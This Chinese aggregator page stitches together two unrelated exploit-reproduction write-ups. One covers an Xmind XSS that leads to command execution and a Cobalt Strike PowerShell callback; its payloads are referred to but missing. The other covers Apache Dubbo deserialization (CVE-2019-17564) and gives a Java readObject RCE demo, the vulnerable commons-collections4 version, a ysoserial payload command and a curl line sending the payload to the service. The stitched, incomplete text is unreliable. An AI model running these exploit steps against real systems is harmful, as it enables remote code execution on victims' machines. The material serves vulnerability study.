Xmind XSS导致RCE漏洞复现
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Xmind XSS导致RCE漏洞复现相关的知识,希望对你有一定的参考价值。
参考技术A公众号原文
仅参考复现,和小幅修改
# 01 Xmind简介:
XMind 是一个 全功能 的思维导图和头脑风暴软件,为激发灵感和创意而生。作为一款有效提升工作和生活效率的生产力工具,受到全球百千万用户的青睐。
# 02 漏洞简介:
Xmind 存在XSS漏洞,攻击者可以借助该漏洞进而实现命令执行,在实际环境中可以借助钓鱼攻击可能造成更严重的危害。
# 03 漏洞影响范围:
最新版本202107130605不受该漏洞影响,次新版本均受该漏洞影响,且需要打开大纲,按任意字符才能触发。
# 04 漏洞复现过程:
测试版本为Xmind2020,安装完成之后,打开软件,随便点击一个思维导图点击创建:
将导图分支修改为poc/exp,然后进入大纲视图查看、测试:
1、首先测试下xss弹窗:
payload:
输入完之后,鼠标移动到payload最后方,敲空格就能触发,或者点击ctrl健也能触发:
2、测试RCE命令执行:
原始payload:
然后将其进行base64编码:
构造最终的payload,替换里面的内容即可:
触发方式也是一样的,成功执行:
3、测试CS上线:
这里使用powershell上线:
和上面命令执行利用方式一样,将执行的命令替换为powershell上线payload:
由于命令在单引号内,而powershell命令中也有单引号,所以需要用\\进行转义:
然后base64编码,再进行最终的payload构造即可:
触发方式一样:
可以看到成功上线:
尝试执行命令,成功:
有关Apache dubbo反序列化漏洞的复现及思考
有关Apache dubbo反序列化漏洞(CVE-2019-17564)网上有许多漏洞复现文章,官方漏洞描述也说的很清楚,开启了http remoting协议时,存在反序列化漏洞。本身有关java的漏洞,反序列化占了很大一部分。大概流程就是应用程序在反序列化时执行了恶意代码导致RCE(remote command/code execute)。
先来看一个自定义对象反序列化引发RCE的示例:
public class SerialDemo {
public static void main(String[] args) throws Exception{
FileOutputStream fileInputStream = new FileOutputStream("D://Bird.obj");
ObjectOutputStream oos= new ObjectOutputStream(fileInputStream);
oos.writeObject(new Bird());
oos.close();
FileInputStream fileInputStream1 = new FileInputStream("D://Bird.obj");
ObjectInputStream ois = new ObjectInputStream(fileInputStream1);
ois.readObject();
ois.close();
}
}
class Bird implements Serializable {
private final void readObject(ObjectInputStream in) throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}
在Bird类中声明了readObject方法,反序列化时会通过反射调用这个方法导致RCE,dubbo反序列化漏洞类似,但调用链远比这个要复杂。
下面使用dubbo http示例复现一下反序列化漏洞,通过Ysoserial生成利用反序列化漏洞payload,基于CommonsCollections4类库的gadget,注意版本使用的4.0,大于4.0没有此漏洞。
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
java -jar ysoserial-xxx.jar CommonsCollections4 "calc" > payload
curl --data-binary @payload
http://127.0.0.1:8080/org.apache.dubbo.samples.http.api.DemoService
有漏洞当然要升级了,针对此漏洞首先要确定是否使用了dubbo http,如果使用的是rest服务(基于resteasy)不受此漏洞影响。
dubbo作为一个rpc框架,通常都是内网应用,如果需要对外提供服务可以前置http网关接口,个人觉得没有必要给dubbo开放http接口。各位读者朋友如何看待呢?
以上是关于Xmind XSS导致RCE漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章